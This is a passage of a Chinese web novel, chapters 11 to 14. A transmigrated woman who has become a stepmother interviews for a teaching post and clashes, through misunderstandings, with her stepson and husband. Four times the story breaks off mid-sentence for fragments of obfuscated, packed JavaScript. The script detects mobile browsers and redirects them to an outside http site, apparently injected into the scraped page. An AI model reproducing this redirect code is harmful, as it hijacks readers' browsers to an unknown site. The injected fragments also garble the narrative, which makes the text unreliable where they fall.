金苒不是一出生就想当老师的。 上辈子她家境属于普通小康,父母开着一家小工厂,日子原本过得安安稳稳。 结果高三那年,厂子因经营不善倒闭,他们家的条件急转直下,甚至欠下一笔债务。 父母因此天天吵架,填报志愿那天,她默默划掉了原本的学校,改填师范院校,并在毕业后坚持考公考编,看重的就是国家单位的稳定。 想起明日的面试,金苒望着头顶的灯光,一时有些不知道该如何办。 最后还是决定去参加。 倘若江明羧坚决要把她赶出别墅,她便需要一个工作养活自己。 如果不赶,也得未雨绸缪,早些为将来做打算。 重拾干劲的金苒精神亢奋,刷题刷到凌晨两点,第二天醒来后依旧精神饱满。 她照旧去草坪上练了半小时的瑜伽。 养成一个习惯需要二十一天,但坏习惯只需要一秒钟,金苒可不允许自己放纵身材,没见到那些真正的精英阶层少有胖子吗?良好的身材管理有时候也是一种克制、理性的体现。 可这在早起的江许黎看来,就是金苒“郁郁寡欢”到睡不着觉。 他神情变得有些复杂。 从有记忆起他便跟着他爸,但江许黎对亲妈并非一无所知,周边人都说他妈是被他爸赶走的,让他一定要好好听话,否则说不定也要被赶走。 这在江许黎小小的内心形成了阴影,虽然长大点后,他知道那些人是故意看热闹,但却明白了一件事——父母的关系确实很差。 江许黎一直以为父亲对他冷淡是因为亲妈的迁怒。 可现在目睹了偷哭的金苒,突然又不确定了。 少年在原地站了许久,久到双脚有些发麻,才默默离开。 心里却是对金苒产生了点儿惺惺相惜。 金苒不知道自己无形中刷了一波同情。 因为皮肤过于白皙,熬夜后的那点儿黑眼圈就特别明显,为了遮住黑眼圈,金苒不得不给自己撸了一个淡妆。 她化妆水平还是不错的,今天化的是穿越前正流行的丝绒摩卡妆容,搭配她精心挑选的卡其色休闲西装和牛仔A字裙,鞋子是从衣帽间拿的,一双黑白纹路的球鞋,再挎上深一个色度的托特包。 天气有些热,金苒便没有披散头发,而是把头发扎在后脑勺,用大肠发圈挽成发髻。 最后镜子里呈现的效果非常完美。 干练中带点儿休闲,休闲里藏着点儿俏皮,属于走在学校里绝对不会被认成学生和家长的老师风! 金苒满意地点了点头。 下楼的时候她还担心会遇到江明羧,没想到直到走出别墅区,也没有看到人影。 出于考虑,这次金苒没有麻烦小孙,而是自己打车前往文承中学。 当她抵达面试地点时,候场区已经来了三位应聘者。其中两位男士约莫四十出头,正站在一起侃侃而谈;在他们对面坐着一个神情拘谨的年轻女孩,看起来也就刚出校园的年纪。 金苒不动声色地观察片刻,随后自然地坐到女孩身旁:“你也是来面试的吗?” 她露出友好微笑。 徐珍自己一个人待的社恐都要犯了,这会儿见终于有同龄人来,很是松了口气:“我叫徐珍,是来应聘语文老师的,今年刚从S大毕业,你呢?” “我姓金单名一个苒字,草字头的苒,数学专业,A师范毕业。” 徐珍顿时露出钦佩的表情。 A师范是国内最好的师范学校,金苒人长得漂亮,穿衣打扮时尚,她下意识认为是艺术老师,没想到居然是数学高材生。 数学啊,那可是文科生眼中的洪水猛兽,至少徐珍的数学每次都是勉强及格。 她忽然想到一句网络流行语:“比你优秀的人比你还努力”,再联想自己大学四年混日子,毕业后托关系才拿到面试机会,一时间羞愧不已,忍不住问:“你是听到那个消息才来的吗?” “什么消息?” 金苒被问得愣了愣。 徐珍压低嗓音:“我也是听别人说的,文承中学今年要创建一个基金会,实行“名校+企业”合作模式,明技科技知道吗?就是那个卖电脑的,因为他们公司老板的儿子在这里上学,到时候不仅会资助贫困学生,一些优秀老师也能拿到海外研修基金!” 年轻女孩一脸激动:“我一直想出国,奈何家里条件不允许,如果能在文承中学当老师,说不定以后就能公费出国!” 金苒却听得一愣。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281794|166858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 明技科技?那不是江明羧的公司吗? 她没想到会有这么巧的事情,转而一想,江许黎刚升入高中,江明羧作为父亲向学校捐赠设备资金,没什么不能理解的。 只是看着徐珍那张仿佛找到知己的脸,她没好意思说当初只是因为离家近才选择文承中学:“如果是真的,的确很不错。” 徐珍重重点头,很是认可:“要不是我表哥在文承中学当老师,我都不知道这样重要的消息,对了,我表哥也是数学老师,他去年刚考进文承中学。” 闻言,金苒心念一动,问:“你表哥是不是叫王殊?” 徐珍惊讶极了:“你认识我表哥?” 她怎么不知道自家宅男表哥居然认识这般大美女啊! 金苒便笑着解释了一下当初报名的事情。 也是王老师工作积极,下班时间不忘给学校拉人,被拉的两个人因为这层关系,距离一下子就近了。 金苒在这里没有什么朋友,对话痨的徐珍印象不错,而当她有意和一个人交好的时候,大概没有人会拒绝,没一会儿,徐珍就拉着她的胳膊叫苒姐。 不过她们也没有聊多久,很快就轮到金苒面试。 “苒姐加油!” 徐珍握着拳头摇晃。 金苒走进教室的时候还有些紧张,以为自己会出现这样那样的失误。 但实际上,她的面试全程流畅,或许是这些天做足了准备,早就形成了肌肉记忆,在几个面试者中,她的经验不是最丰富的,但她的试讲却算得上可圈可点。 最后,当站在讲台上的金苒看到台下的几位老师朝自己露出温和的笑容,她知道大概率是成了。 思及此,终于忍不住笑起来。 穿到陌生世界又如何?不是豪门又如何? 她总会一步一步实现她的目标,然后变得越来越好。 / 徐珍出来后同样是满脸笑容。 “我觉得我讲的还可以,说不定有机会能选上呢,苒姐你呢?” 金苒勾起嘴角:“我也觉得还可以。” 两人都很高兴,眼看时间还早,徐珍便提出在学校里逛一逛:“要是面试能通过,这里就是我们工作的地方,就当提前熟悉一下教学环境。 金苒想了想,答应了。 因为她不太想回别墅。 万一碰到江明羧,对方脑子一抽又问她是谁,实在让人不知道该怎么回答了。 周末,文承中学的学生都放假在家,但不少住校生已经提着行李陆续返校。 两人刚走了一段落,已经遇到了好几波。 看着这些朝气蓬勃的学生,金苒仿佛医学生看到小白鼠似的亲切,这可都是未来听她讲课的好苗子啊。 殊不知,你站在桥上看风景,看风景的人在楼上看你。 有学生被金苒的颜值震惊,偷偷拿出手机拍照,然后发到了私底下的学生群。 【报!学校惊现美女!毫不夸张,本人真的巨巨巨巨巨美!】 12. 第 12 章 第12章 周末的时间,大部分学生在家抱着手机葛优瘫,所以消息刚发出来就被许多人看到了。 陈训良也是其中之一。 不过待看到发消息的人是谁后,他连照片都懒得打开:【原来是王喇叭啊,那没事了,上次你还说煎饼果子摊的老板好看,结果我去了才发现老板年纪和我妈一样大】 【哈哈哈笑死】 【喇叭哥能不能不要拿你的审美污染我们的眼睛】 【就是就是,真应该让美女告你侵犯肖像权!】 王喇叭急了:【这次是真好看!比娱乐圈的明星都好看!如果我撒谎,就让我吃泡面没有调料包!】 众:…… 好歹毒的誓言啊。 王喇叭信誓旦旦,甚至不惜发下毒誓,倒是真把大家给激起了点儿好奇心。 陈训良哼了哼,正巧他妈过来送零食,他一边接过饮料,一边点开图片,准备锐评两句。 下一秒——“噗!” 喝进嘴里的饮料天女散花,全部喷到陈妈妈的身上。 可把他妈给气坏了,抡起胳膊就啪啪给了两巴掌:“小兔崽子,我看你是皮痒了!” 陈训良险些被他妈的如来神掌打吐血,不由大喊一声:“冤枉啊!” 谁能想到王喇叭偷拍的美女是黎哥后妈? 不对,黎哥后妈去学校做什么?! 陈训良后知后觉到不对劲,顾不得身体的“内伤”,赶紧通知江许黎。 【不好了,黎哥!】 【你后妈又又又又去学校了!】 / 今日的江家餐桌上有两个人。 但管家觉得,还不如太太一个人的时候热闹。 太太看着便是个热爱生活的,一日三餐非常积极,仿佛是做什么了不起的大事。 事实也是如此。 每次吃饭,太太都会认真品尝桌上的菜,眼睛像星辰一样闪闪发亮,并极力夸赞食物的美妙口感。 遇到不熟悉的菜肴,她还会和厨师探讨学习,清亮的嗓音回荡周围,给别墅增添不少热闹。 此刻,江家父子俩分坐餐桌两端,气氛却安静到近乎凝滞。 连端菜的佣人们都察觉到不对劲,动作小心翼翼,唯恐惹了主家的不快。 事件中心的两个人半点没有受到影响,各自吃着各自的分餐。 突然,放在桌上的手机响了声。 两人同时抬起头,江许黎顿了顿,反应过来是自己的手机,当着他爸的面拿起来。 【不好了黎哥!你后妈又又又又去学校了!】 “又”这个词,用的可谓是非常形象。 一脑袋莫名其妙的江许黎扣过去一个:【?】 陈训良:【真的!你后妈在学校被人拍到了!照片发到了新生群,现在大家都在讨论她的身份呢!】 【江叔叔刚从国外回来,她不陪着江叔叔,怎么突然来学校了?】 【完了完了,要是被人发现她是你后妈就坏了!】 在陈训良喋喋不休中,江许黎终于听明白事情经过,然后,更加迷茫了。 她今天起那么早,只是为了去了他的学校? 江许黎五官扭成一团,表情活像吃到酸杏,想了想,退出聊天点开自己的好友列表。 虽然不混群,但他隐约记得刚开学那会儿被陈训良拉进了好几个群。 果不其然,江许黎很快就在自己的列表找到了一个叫“文承新生101”的聊天群,点进去,里面正聊得热火朝天。 青春期的学生精力充沛,难得看到一位大美女,女生们好奇,男生们早就按捺不住。 这会儿他们已经从美女长相,聊到了美女的身份。 ……【说了半天,有人认识对方吗?我愿意重金求小姐姐的联系方式!】 【重金求+1】 【额,你们有没有想过,不穿校服出现在学校里的,可能是家长或者老师?(汗)】 【看穿着打扮应该是老师吧,但没在高一见过,所以大概率是高二高三的老师】 结果没想到,大家更激动了:【靠!这也太幸福了吧!要是有美女老师教我,我肯定好好学习天天向上】 【那个,其实姐弟恋也不是不可以……】 眼看越说越离谱,江许黎眉头逐渐从两侧往中间挤。 他以前怎么没有发现这群人这么无聊? 金苒是什么身份,没有人比他更清楚。 而且,他大概能猜出她去学校的原因。 两周前江明羧出差,金苒自持后妈身份,打着关心的名义开始干涉他生活的方方面面。 吃饭要细嚼慢咽,喝水要喝四十度的温水,晚上十点之前必须入睡,甚至他打游戏放松一下,她都得满脸不认同地制止。 “你是学生,现在的任务是好好学习,不能玩物丧志。” 几次之后江许黎便受不了了,直接借口搬到学校宿舍。 他想的是,既然你不愿意见我,那我离远点儿好了。 后面金苒果然没有再找他。 现在对方一反常态,突然早起去学校——看样子他爸应该也不知情。无非是见他爸回来了,害怕自己“贴心后妈”的形象崩塌,想让他搬回来。 江许黎觉得自己猜透了真相。 他倒是没有生气,或许是昨晚目睹了她的“不容易”,内心对于金苒的排斥少了许多。 人只会排斥气场强大的侵入者,对于柔弱的一方,有的只有可怜和无视。 当然,再多余的情绪便没有了,江许黎也懒得对一个后妈有多余情绪。 群里还在讨论,突然蹦出来了一条新消息。 江许黎:【不是老师。】 页面清空了足足三秒钟。 反应过来,重新喷涌而出。 【没看错吧,江校草?!!校草居然发言了!!】 【什么校草?我不承认】 【滚!】 【校草认识美女姐姐吗,为什么说不是老师?】 可惜不管他们怎么打探,江许黎再也没有回复过一句。 …… 餐桌上,江明羧何等敏锐的人,察觉到对面的儿子看了自己一眼又一眼。 早在少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281795|166858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭吃到一半,抱着手机打字的时候,他就注意到了他的反常。 本不想理会,但眼下还是放下刀叉,淡淡问:“有事?” 江许黎顿了顿:“前几天我从家里搬出去了。” “嗯,我听王助理说过。”江明羧表情未变,好似什么事情都不能引起他的情绪波动,“我不清楚里面的内幕,这件事情你自己考量。” 江许黎点了点头。 不用他爸说,他也是打算回来的。 养尊处优的小少爷,实在住不惯学校的生活,尤其男生宿舍臭脚打呼,让他时常被迫熬夜。 而且现在他爸在家,金苒的关注力应该会转移吧? 江明羧觉得江许黎表情越来越奇怪。 他猜他应该是在手机上看到了什么,才会变得如此反常。 另人没有想到的是,接下来还有更反常的。 那边的江许黎在停顿很久后,突然再次开口:“昨天晚上我看到她哭了。” 她?谁? 金苒吗? 江明羧沉眉,脑海中不由浮现昨晚的场景。 在被自己点破后,女人故作镇定地反驳,以及最后直接装傻走掉,忍不住思考现在这个举动的含义。 江许黎却没有注意到他爸的疑惑,或者说,他根本没有抬眼,只自顾自输出:“他们都说我像你。” 从小到大,类似的话听了无数遍。 作为儿子的他比不上眼前的男人,无论做什么都要被斥责,被忽视,但这次,他突然发现自己还是有胜过他爸的地方。 江许黎内心嘲讽,嘴上却掷地有声:“如果我喜欢一个人,结对不会让她难过!” 刚回过神的江明羧:“?” 什么难过不难过? / 在外面吃完午饭,拖延了好一会儿,金苒才打车回别墅。 回来时战战兢兢,等到了别墅,才发现家里只有她一个人。 “午饭后,先生去公司那边了。” 金苒听得咋舌,昨天胳膊还绑着绷带呢,今天就要去上班,如果没记错,他伤的是右胳膊吧? 转念一想,江明羧已经是公司的总裁,坐到他那个位置,底下有的是人愿意替他打工,根本不需要用自己的胳膊。 她更高兴的是,对方似乎忘记了昨天的事情,没有继续追究。 不愧是霸总,心胸就是宽广! 金苒恨不得用一万句美言美语赞扬江明羧,当然,隔空赞扬就好了,她暂时不想出现在他的面前,嘴角勾着笑,顺带问了一句:“江许黎呢?” 结果就看到管家露出为难的神情。 金苒心想难道她不在的时候,父子俩又吵起来了? 她有些后悔,这种事关亲生父子的矛盾,她一个后妈实在不适合掺和太多,早知道就不多此一问。 事实证明她想多了,但真相比吵架还令人惊讶,管家像那种家里面对叛逆的孩子无可奈何的老人一般,愁眉苦脸:“少爷好像谈恋爱了。” 金苒:“???” 她微微瞪大眼睛,心中第一反应,十五岁谈恋爱属不属于早恋啊? 13. 第 13 章 第13章 当天晚上,江明羧并没有回来。 不止如此,接下来的几天对方也没有回来,不知公司那边发生了什么事情,后面江明羧竟然打发王特助过来拿衣服。 “……新项目正处于关键时期,江总最近要住在公司,不过等忙完这段时间就好了。” 金苒压根没有听到后面那句。 得知江明羧不回家,她内心险些乐开了花,毕竟她巴不得对方住在公司,最好沉溺工作好好赚钱,没时间找自己的茬。 王特助经常来别墅替江明羧取些日常用品,以前类似的事务都由程管家经手,这次恰巧遇见了新过门的太太。 想着对方是老板娘,肯定对江总的习惯一清二楚,便拜托道:“麻烦太太帮江总拿五件西装,五件衬衫,还有其他相应的换洗衣物。” 金苒已经开始在心里默默计算:五件西装衬衫,按照一天一件算的话,至少要在公司住五天时间。 于是她欣然同意,并让王特助坐下喝茶,她自己去二楼的衣帽间帮忙收拾。 和大部分男人相比,江明羧的衣物算得上多了。 西装按照颜色深浅挂满了两面衣柜,衬衫同样如此,此外还有两层抽屉的领带,旁边的玻璃柜里,摆放着排列整齐的手表和袖扣。 旁的不提,单那些手表和镶钻袖扣,就已经价值不菲。 显然,男人在穿着打扮上花的钱并不比女人少。 大概只有那些没有本事的穷男人,才会将自己的失败归结到女人身上,嫌弃女人买买买,嫌弃女人喝奶茶,哪怕女人并没有花他们的钱。 想起上辈子第一次见到这样的言论时,金苒简直三观碎掉,说的好像离开了女人他就不需要工作似的,当然,如果女人花了他的钱,哪怕一分钱,他也会记在小本本上,等到哪日缺棺材本了,便深情款款“共建小家庭”。 金苒庆幸穿书后虽然顶着“已婚”的名头,但“已婚对象”还算不错。 至少江明羧外表足够出众——宽肩窄腰,身材挺拔,配上魅力十足的脸,光是站在那儿便足够赏心悦目,更难得的是,对方在物质上同样不吝啬。 想起卡里的二十万,金苒再次感到庆幸。 要是真摊上个又丑又抠的,哪怕顶着豪门太太的头衔,她也绝对忍不了,净身出户前先甩对方一耳光。 话题跑远了,回归当下。 金苒站在衣柜前,考虑到公司那样严肃的场合,挑选了三套较正式的黑灰蓝主色西装,又拿了一件米白和一件烟草棕,如此可以完美兼顾正式和休闲两种场合。 领带和手表等其他配饰,金苒则是根据自己的审美每样塞进去一点,等行李箱快要塞满,她突然想到一件重要的事情。 五天的时间,是不是还要带点儿贴身衣物? 于是又转身从衣柜里找出来一盒全新的男士底.裤,不经意看了一眼size,嗯,XXL。 金苒咳了咳,若无其事移开盯在某处的视线,将行李箱拉上锁链。 不谈王特助带着行李如何回去交差,别墅里,将人送走的金苒则是彻底放松下来。 没有人在旁边盯着,生活过得轻松有滋味,每天不是品尝厨师变着法做的美食,就是懒洋洋躺在阳台做新买的考编题。 偶尔,也会遇见别墅的另外一位高中生。 江许黎打算从学校搬回家,奈何搬家也是需要时间的,作为高中生,他每天需要上早读上正课上晚自习,根本没有多余时间搬行李,所以只能时不时翘掉晚自习回家改善睡眠。 而这种情况下,两人不可避免会碰面。 多数时间都是金苒在享用早餐,起晚的江许黎急匆匆跑下楼,顾不上吃饭,提着书包就往外冲。 经过金苒身边的时候,少年停都不会停一下。 金苒也毫无打招呼的想法,继续和面前的美食做斗争。 倒是目睹这一场景的佣人们面面相觑,后面私下里大家都说少爷不接受新太太。 有些人单纯感叹唏嘘,有些人却是起了另外的想法。 一个是亲生儿子,一个是疑似不受宠的妻子,稍微聪明点的都知道该讨好谁。 金苒并不知道佣人间的暗波涌动。 美好的日子陆续过了三天,等到周四早上,她收到了文承中学人事部发来的录用通知。 虽然早有预料,但真正拿到通知的这一刻,金苒还是抑制不住高兴。 她点开邮件。 尊敬的金苒老师: 您好!恭喜您通过我们的面试考核,现正式邀请您担任高一三班的数学代课老师,授课时间为下周一。请您于明日前确认是否接受本次安排,以便我们进一步沟通后续事宜。 期待与您携手合作!如有疑问,请随时联系。(1) 简单的排版,字体是最普通的思源黑体,依旧让金苒喜不自胜,来来回回看了五遍。 不愧是她,真棒! 金苒立刻回复邮件。 她表示自己确认接受职位,之后又仔细询问需要携带的材料。 大部分比较常见,只有一份健康证明需要她去医院做体检。 今天是不行了,因为金苒早上已经吃过饭。 思及此,她重新沉下心来,先按部就班完成白天的计划,然后再给自己预约了第二天的体检。 值得高兴的是,和她同一天面试的徐珍也被录用了,两人商量过后决定一起行动。 次日一大早,金苒空腹抵达医院。 徐珍住的比较远,比她晚了半个小时,好在工作日的医院并不忙碌,绕是如此两人跑来跑去,也用了整整一上午才做完所有的体检项目。 从检查室一出来,徐珍就捂住咕咕叫的肚子:“饿死了,医生说结果至少两个小时出来,不如我们先去吃饭吧?这边离小吃街近,我知道一家特别好吃的麻辣烫!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281796|166858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >金苒同样饿了,此刻听到徐珍提起麻辣烫,顿时觉得口水分泌。 不怪她如此反应,江家的一日三餐都是厨师精心搭配的健康营养美食,虽然色香味俱全,但时间久了,难免有点儿怀念重油重盐的“街边小吃”。 听到徐珍的话,想都没想就答应下来:“好啊,顺便买杯奶茶,正餐之后稍微液断一下,体重不涨称。” 徐珍眼睛一亮:“不如再点份韩式炸鸡饭后甜点?放心,它是韩式炸鸡不长中国热量,所以是零卡。” 两人相视一笑,难得找到如此契合口味的饭搭子,颇有些相逢恨晚的感觉。 / 中午放学铃响起,学生们一个个施展飞毛腿朝着食堂飞奔。 江许黎和陈训良手上有钱,向来不爱去食堂吃饭,两人等其他人离开,才慢悠悠起身准备去学校外面的小吃街。 王舒雅看到后,跟上来:“你们去哪吃?我和你们一起。” 陈训良想了想,提议:“麻辣烫怎么样,有段时间没吃了,还有点想念。” 江许黎没意见,王舒雅见江许黎点头,更不会提出异议,她本来就不是单纯为了吃饭。 三人一起往校外走,谁知走到半路,看到好几个学生在推攘一个男生。 “啊,那不是七班的傻大个嘛!” 陈训良讶然。 傻大个是之所以叫傻大个,是因为他脑子似乎有点问题,又因为个头长得和座山似的,一入学就被大家熟知。 “另外几个好像是七班的,他们怎么还欺负自己班的同学啊!”王舒雅眉头拧紧,显然有些生气。 她是他们班的纪律委员,性子耿直较真,最是看不惯这种霸凌。 可对方人多,又都是人高马大的男生,一时还真有些不敢出头。 说话间,那几个学生更加过分,竟是直接把傻大个的书包拉链打开,里面的书一本本掉出来:“哈哈哈哈,看他那个蠢样子,有个明星姐姐又如何,我让你装……” “哎呀!他们太过分了!” 王舒雅气的跺脚,却见旁边一声未坑的江许黎忽然拔步往前,在众人反应不及的情况之下,一拳头打到了嘲笑人的脸上。 !!! 麻辣烫小店。 热闹又平凡的一个中午,厨房里的老板忙得不可开交。 金苒和徐珍因为来得早,抢到了一个位置,这会儿已经在遍布的香味中吃上了香喷喷麻辣烫。 突然,金苒的余光瞥到了什么,尽管一闪而逝,她还是相信自己的直觉,不由得问:“这边离文承很近吗?” 徐珍思考:“是有点近,出去往左走,大概五百米吧,除了文承中学,体校也在附近。” 于是金苒这下可以百分百确定,自己刚才看到的人就是江许黎。 那么问题来了。 到底发生了什么,才让本应该在学校上课的高中生,变得像乞丐似的浑身脏兮兮? 14. 第 14 章 第14章 虽然认了出来,但金苒并没有打算上去攀交情。 先不说他们两人一个后妈一个继子,没有什么交情可言,单独看江许黎若无其事买饭的样子,应该没有什么大问题。 既然没问题,她也就不用管了。 金苒毫无压力继续吃饭。 另一边的江许黎是在买完饭后,慢一步看见了金苒。 同她的镇定不同,他却是有些烦躁地皱了皱眉。 怎么又来? 没错,在江许黎眼中,金苒前几天才在学校里被拍到,今天居然再次悄悄跟踪自己到学校,要说没点儿企图在身上,他是绝对不会相信的。 联想到他同人打了一架,肯定被躲在暗处的金苒看进眼里。 对方抓住他的“把柄”,说不定某个时刻就从背后插一刀——即便女人最近已经很少这样做,但江许黎的心情还是犹如夏日酷暑,燥得要把空气点燃。 王舒雅察觉到了,以为他在为刚才的事情烦心,忍不住安慰:“你放心,要是老师找你,我会替你作证的。” 她本来就对江许黎有情谊,这会儿只觉得自己的眼光果然没错:“是他们先霸凌同学,你属于见义勇为,就算老师知道也应该表扬你。” 旁边,陈训良大为震惊:“王同学,没想到你觉悟挺高啊!” “滚!老娘觉悟一直高!” 王舒雅毫不客气地翻了个白眼。 随后又小心翼翼地看向江许黎,脸色泛红:“就算…别人都不相信你,在我心里你永远是最厉害的!” 少女怀.春,眼中的情谊几乎溢出来。 不小心吃到瓜的金苒:哦豁。 天地良心,真不是她故意偷听,谁让这几人说话一点不控制音量呢? 看着站在一起郎才女貌的少男少女,金苒脑海中闪过一句话:少女情怀总是诗。 没有人不爱吃瓜,连对面的徐珍都听得津津有味,金苒视线在两个人身上打转,着重观察了一下王舒雅。 心里想,这位不会就是江许黎的小女友吧? 眼光倒是不错,但身为男朋友,面对女朋友的表白似的倾诉,不说感动高兴,怎么还摆出一副不耐烦的样子呀? 身后灼热的视线如影随形,江许黎脊背僵硬,根本没有注意到王舒雅在说什么:“一人做事一人当,你们不用管。” 王舒雅:“怎么可能,我,我们是一起的啊!” “哎呀,你不懂。” 陈训良自觉明白什么,老神在在地叹气,“老师没问题,但黎哥的家里就不一定了。” 江叔叔强大又严厉,还有那个奇怪的漂亮后妈,简直是双重地狱。 闻言,王舒雅有些难以理解。 怎么会有家长比老师更可怕呢? 她忽然想起自己之前听到的小道消息,说江许黎的爸爸再婚了,他的爸爸不再是他一个人的爸爸。 心口微微刺痛,一时脱口而出:“因为你后妈吗?” 金苒:“?” 王舒雅却觉得自己猜到真相。 不管是影视作品还是现实生活,后妈这个词往往与恶毒相搭配,脑补的画面又惨又苦,以至于虽然没有见过那个后妈,但王舒雅内心已经对对方产生不满。 江许黎脾气好学习好,一点不像其他富二代似的专横,性格也是不争不抢,她为什么不放过他。 何况,按照继承法,江许黎本来就应该继承叔叔的财产! 金苒:“……” 不是,她什么都没做啊。 这一刻,“人在店中坐,锅从天上来”具象化,金苒着实没想到吃瓜会吃到自己身上,有些开心不起来了。 她深深看了一眼傻白甜的陈训良,没忘记刚才就是他造的谣。 陈训良:突然感觉后脑勺发凉。 江许黎闭着嘴,不愿多说。 他知道朋友是为了他好,但真实情况只有他自己知道。 何况这段时间,金苒并没有做什么实质性的事情。 江许黎不知道两个大人之间的猫腻,从他的角度看,他爸刚结婚,短期内不可能离婚,所以金苒大概率会在别墅住很久,如果现在状态可以保持下去,他其实不介意家里多了一双筷子。 思及此,他给他爸发了一条消息。 本来打算这周末靠自己把行李搬回家,可金苒已经来过两次学校,为了让女人停歇下来,他决定还是早点搬吧。 嗯,还得找个机会和她说清楚,彼此留点空间或许对大家都好。 手机的消息发了出去,理所当然没有得到回复。 江许黎习以为常,他知道他爸看到消息后会安排人便好了。 等从麻辣烫小店离开,思绪回过神,听到身边的王舒雅还在为他打抱不平,话里话外谴责金苒。 江许黎皱眉,很不明白两个没有关系的人为什么会有如此大的敌意,哪怕是打着为他好的名头。 不由得脸色黑下来,开口制止:“够了,这些话我不想听到第二遍,以及我的事情和她没有关系。” 陈训良愣住,王舒雅也愣住,片刻后,满脸的委屈:“我是为你好…” 江许黎嘲讽笑了笑,很是无所谓:“你是谁啊,我不需要你的好。” 外人都说他性格冷静,不争不抢,只有他自己清楚,无非是事不关己高高挂起,实则内心充斥着叛逆和冷漠。 从这方面看,他和他爸似乎没有什么区别。 江许黎嘴角嘲讽意味更重,抬脚就往另外的方向走,对站在风中摇摇欲坠的女生没有半分的留恋。 徒留王舒雅面色苍白,心中对金苒的厌恶却更重了一分。 / 江明羧是休息的时候才看到手机消息。 他只看了一眼便转发给王特助,后者了解到少爷的需求后没有耽搁,叫来手下的实习助理去学校帮忙。 在明技科技,身为总裁特助的王特助手下也有三个实习助理,不过实习助理负责的是王特助分发的一些事务,总裁的事情仍旧需要他本人亲自处理。 这会儿,看着刚从会议上出来、满脸疲惫的江明羧,王特助一边感慨钱难赚,一边翻开晚间行程表请示:“杨总和陈总邀您今晚聚餐,您看要不要去?如果去的话,大常楼那边的晚餐需要通知他们取消吗?” “把聚餐推掉。”江明羧揉了揉太阳穴,感觉右臂的伤口有些疼,“大常楼那边算了,送来的饭菜你带回家吧,先给我安排车,等会儿回硕果湾。” 王特助没想到还有意外之喜,虽然他跟着江明羧没少吃米其林,但好东西谁会嫌多呢,他点头表示记下。 离开前,没忘记去旁边的休息室将换下的衣服拿出来:“等干洗完,我再给您送去硕果湾。” 江明羧想起自己这些天的行装,难得赞许道:“衣服搭配的不错,以后就按这个标准来吧。” 谁知王特助反而有些不好意思:“这次的衣服是太太给您收拾的。” 他暗道自己聪明,既和太太打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281797|166858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好关系,又让江总满意,没有注意到江明羧动作的停滞:“全部都是?” “是的江总,”王特助忽然反应过来,有些紧张,“有什么地方不妥吗?” “没事。”江明羧神色如常地摆了摆手,示意他可以离开。 日落时分,处理完手头的工作,江明羧没有向往常一样多待,而是提前从公司离开。 路过最大的城江,车窗外灯火通明,映照地夜色恍如白昼。 江明羧静静看着闪过的风景,想到那些包含.贴.身.衣物的行李,眼底的墨色如海水般深不可测。 她到底要做什么…… 被惦记的金苒表示,她真的什么也不想干啊。 彼时她体检完和徐珍分开,回到家被闻声而来的小三花围着团团转。 经历喜爱滋润的小猫,吹了气似的长大,如今已经比刚来时胖了一圈。 白黑黄三色的毛...发..漂亮顺滑,如同毛绒绒的云,蹭人时额头陷下去小小的窝。 试问看到这幅画面,哪个正常人能忍住? 于是金苒果断停下脚步,乐不思蜀陪小三花玩乐,嘴上宝贝宝贝的叫着,时而发出桀桀桀的恐怖笑声。 连江许黎什么时候站到她面前,都没有发现。 现在的气氛,着实有点儿诡异。 金苒的手正放在猫屁股上,好似一个偷.香的变.态,面对江许黎震惊的目光,一时不知该抬起还是放下。 毕竟之前大言不惭说要相安无事的是她,现在背地里偷偷玩人家猫的也是她。 好在成年人钱包虽薄,但脸皮足够厚,她若无其事站起来:“那个,我看它好像饿了,见人就蹭。” 三花猫:喵? 金苒为自己的行为找了一个借口,友好笑笑便准备逃走。 不料江许黎竟叫住她。 “你今天…是不是去学校了?” 他问。 对于这件事情,金苒没有什么可否认的,遂点了点头。 刚想解释自己是去附近办事,恰好路过,便听到江许黎飞速道:“我过几天会搬回来,你不用去了。” 金苒:“?” 这和她去学校有什么关系?而且从下周开始,她必须每天都去学校啊! 看着少年桀骜的模样,金苒茫然,不解,她发现自己大概脱离中二期太久了,有些忘记这个年龄的孩子脑袋里在想什么,难道他觉得自己是为了他才去学校? 啊这,误会是不是太深了点? 